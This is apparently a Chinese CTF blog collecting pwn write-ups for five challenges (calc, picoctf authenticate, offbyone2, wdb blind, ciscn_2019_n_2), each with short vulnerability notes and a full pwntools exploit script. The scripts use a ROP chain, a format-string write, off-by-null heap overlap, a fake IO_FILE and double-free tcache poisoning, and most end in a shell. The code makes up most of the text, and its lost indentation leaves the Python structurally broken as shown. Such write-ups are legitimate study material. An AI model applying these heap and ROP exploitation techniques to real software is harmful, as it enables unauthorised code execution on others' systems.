231 pwnable_calc
似乎有点麻烦,一点一点来。
刚开始是一个开始语。
calc
bzero看着像个清零。
然后get_expr进去看看,应该是输入函数。
显然是的。
第二个函数是一个init_pool。
这个函数显然就是在初始化那个v1.
v1初始化了之后用处应该是一会用来算算数用的。
然后下面是计算函数。
问题在哪?
由于检查跳出循环的if 语句被放在了最后面, 这就造成了输入非法表达式也会被解析而不会报错, 利用这个非法表达式可以造成任意地址写。
exp
from pwn import *
import struct
context(arch='i386', os='linux', log_level='debug')
p = process("./calc")
elf = ELF("./231")
popedx = 0x080701aa
popeax = 0x0805c34b
popebx = 0x080481d1
popecxebx = 0x080701d1
int80 = 0x08049a21
payload = "+360"
p.sendlineafter("=== Welcome to SECPROG calculator ===", payload)
p.recvline()
mebp = int(p.recvline()) & 0xffffffff
print "init_mebp-> " + hex(mebp)
mebp = (mebp + 0x10) & 0xfffffff0
mebp -= 2**32
print "mebp-> " + hex(mebp)
rop = [0x080701d1, 0, mebp - 0x4, 0x080701aa, 0, 0x0805c34b, 0xb, 0x08049a21, u32('/bin'), u32('/sh\0')]
for i in range(10):
payload = "+" + str(360 + i + 1)
if rop[i] == 0:
p.sendline(payload)
stack = int(p.recvline()) & 0xffffffff
if stack != 0:
print "stack-> " + hex(stack)
payload += "-" + str(stack)
p.sendline(payload)
p.recvline()
else:
p.sendline(payload)
stack = int(p.recvline()) & 0xffffffff
print "pppr -> " + hex(stack)
if stack != 0:
payload += "-" + str(stack)
p.sendline(payload)
p.recvline()
if i != 2:
payload = "+" + str(360 + i + 1) + "+" + str(rop[i])
else:
payload = "+" + str(360 + i + 1) + str(rop[i])
p.sendline(payload)
p.recvline()
# if i == 9:
# raw_input()
p.sendline("Give me shell!")
p.interactive()
exp直接拿了别的师傅的。写起来太麻烦了……
232 picoctf_2018_authenticate
逻辑简单,就是一个格式化字符串漏洞,目的呢是把
bss段上的一个变量改一下。
偏移是11
exp
from pwn import*
context.log_level = "debug"
r = remote("node4.buuoj.cn", "27718")
bss = 0x804a04c
payload = fmtstr_payload(11, {bss:1})
r.sendline(payload)
r.interactive()
233 x_nuca_2018_offbyone2
add
申请的大小要大于0x7f。
确实跟题目一样,输入的地方有个off by null。
delete
清空指针了。
show
正常show
虽然got表可读可写,但是因为开了pie,我们还是不去用unlink。
就正常申请chunk制造overlap就可以了。
from pwn import *
#context.log_level = "debug"
r = remote("node4.buuoj.cn", "26102")
#r = process("./233")
libc = ELF("./64/libc-2.27.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add(size,note):
r.sendlineafter('>> ','1')
r.sendlineafter('length: ',str(size))
r.sendafter('note:',note)
def delete(idx):
r.sendlineafter('>> ','2')
r.sendlineafter('index: ',str(idx))
def show(idx):
r.sendlineafter('>> ','3')
r.sendlineafter('index: ',str(idx))
add(0x1f0, "aaa\n") #0
add(0xf8, "aaaa\n") #1
add(0x1f0, "aaa\n") #2
add(0xf8, "aaaa\n") #3
for i in range(7):
add(0x1f0, "a\n")
for i in range(7):
delete(4 + i)
delete(0)
delete(1)
add(0xf8, "a" * 0xf0 + p64(0x300)) #0
delete(2)
#虽然前面delete0会放到unsorted bin中,但是overlap之后就合成了一大个。
add(0x1f0, "aaa\n")
for i in range(7):
add(0x1f0, "aaa\n")
#1、2、4-9
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
add(0x1f0, "aaa\n") #11
#gdb.attach(r)
delete(0)
delete(10)
add(0x1f0, p64(free_hook) + '\n') #0
add(0x1f0, "/bin/sh\x00\n") #10
add(0x1f0, p64(system_addr) + '\n') #11
delete(10)
r.interactive()
234 wdb_2018_1st_blind
add
大小限定死了。
edit
free
有uaf,但是只能free三次。
还有个后门函数。刚开始我还没找着。
按照我们一般的思路,因为free受限,所以考虑攻击tcache头,但是又因为大小0x68定死了,就算攻击tcache头也没啥用,因为还是得不到libc基地址,那咋整?
我们攻击bss段上的stdout指针。
exp
#coding:utf8
from pwn import *
context.log_level = "debug"
r = remote("node4.buuoj.cn","25439")
backdoor = 0x4008e3
def add(index,content):
r.sendlineafter('Choice:','1')
r.sendlineafter('Index:',str(index))
r.sendlineafter('Content:',content)
def edit(index,content):
r.sendlineafter('Choice:','2')
r.sendlineafter('Index:',str(index))
r.sendlineafter('Content:',content)
def delete(index):
r.sendlineafter('Choice:','3')
r.sendlineafter('Index:',str(index))
fake_chunk_in_bss = 0x601FF5
add(0,'a'*0x60) #0
delete(0)
edit(0,p64(fake_chunk_in_bss))
add(1,'a'*0x60) #1
#伪造一个IO_FILE
payload = p64(fake_chunk_in_bss + 0xB)
payload += p64(0)
payload += p64(fake_chunk_in_bss + 0x10) #vtable
payload += '\x00'*0x3 + p64(fake_chunk_in_bss - 0x78) + p64(backdoor) + '\x00'*0x25 + p64(0x601FF0)
add(2,payload) #申请到bss上,篡改stdout指针,伪造IO_FILE,当调用printf时,会getshell
r.interactive()
235 ciscn_2019_n_2
create user
最多三个chunk。
结构大概长这样
delete
chunk被free之后将标志位改成了0.
但是明显有个double free。
edit
正常edit,没看出啥问题。
print
0x18中间那个原来是money。
addmoney
还可以加钱。
gift
可以泄露点地址,但是需要有钱。
总体来说就是利用double free。我们可以先把指针数组先申请出来,然后劫持got表就好了。
exp
from pwn import *
context.log_level = 'debug'
r = remote("node4.buuoj.cn","28122")
elf = ELF("./235")
libc = ELF("./64/libc-2.27.so")
def add(content, age):
r.recvuntil("Your choice: ")
r.sendline('1')
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def edit(index, content, age):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def add_money(index):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Index:")
r.sendline(str(index))
def buy(index, addr, size):
r.recvuntil(menu)
r.sendline('6')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("input the address you want to leak:")
r.sendline(hex(addr))
r.recvuntil("input the size you want to leak:")
r.sendline(str(size))
r.recvuntil("data:[[[")
addr = u64(r.recv(size).ljust(8, '\x00'))
return addr
bss_addr = 0x602060
free_got = elf.got['free']
add('KMFL\n', 1)
delete(0)
delete(0)
add(p64(bss_addr), 10)
add(p64(bss_addr), 10)
add(p64(free_got), 10)
add_money(2)
show(0)
r.recvuntil('name: ')
libc.address = u64(r.recvn(6) + '\x00' * 2) - libc.symbols['free']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
edit(2, p64(free_hook), bin_sh)
edit(0, p64(system), 10)
delete(1)
r.interactive()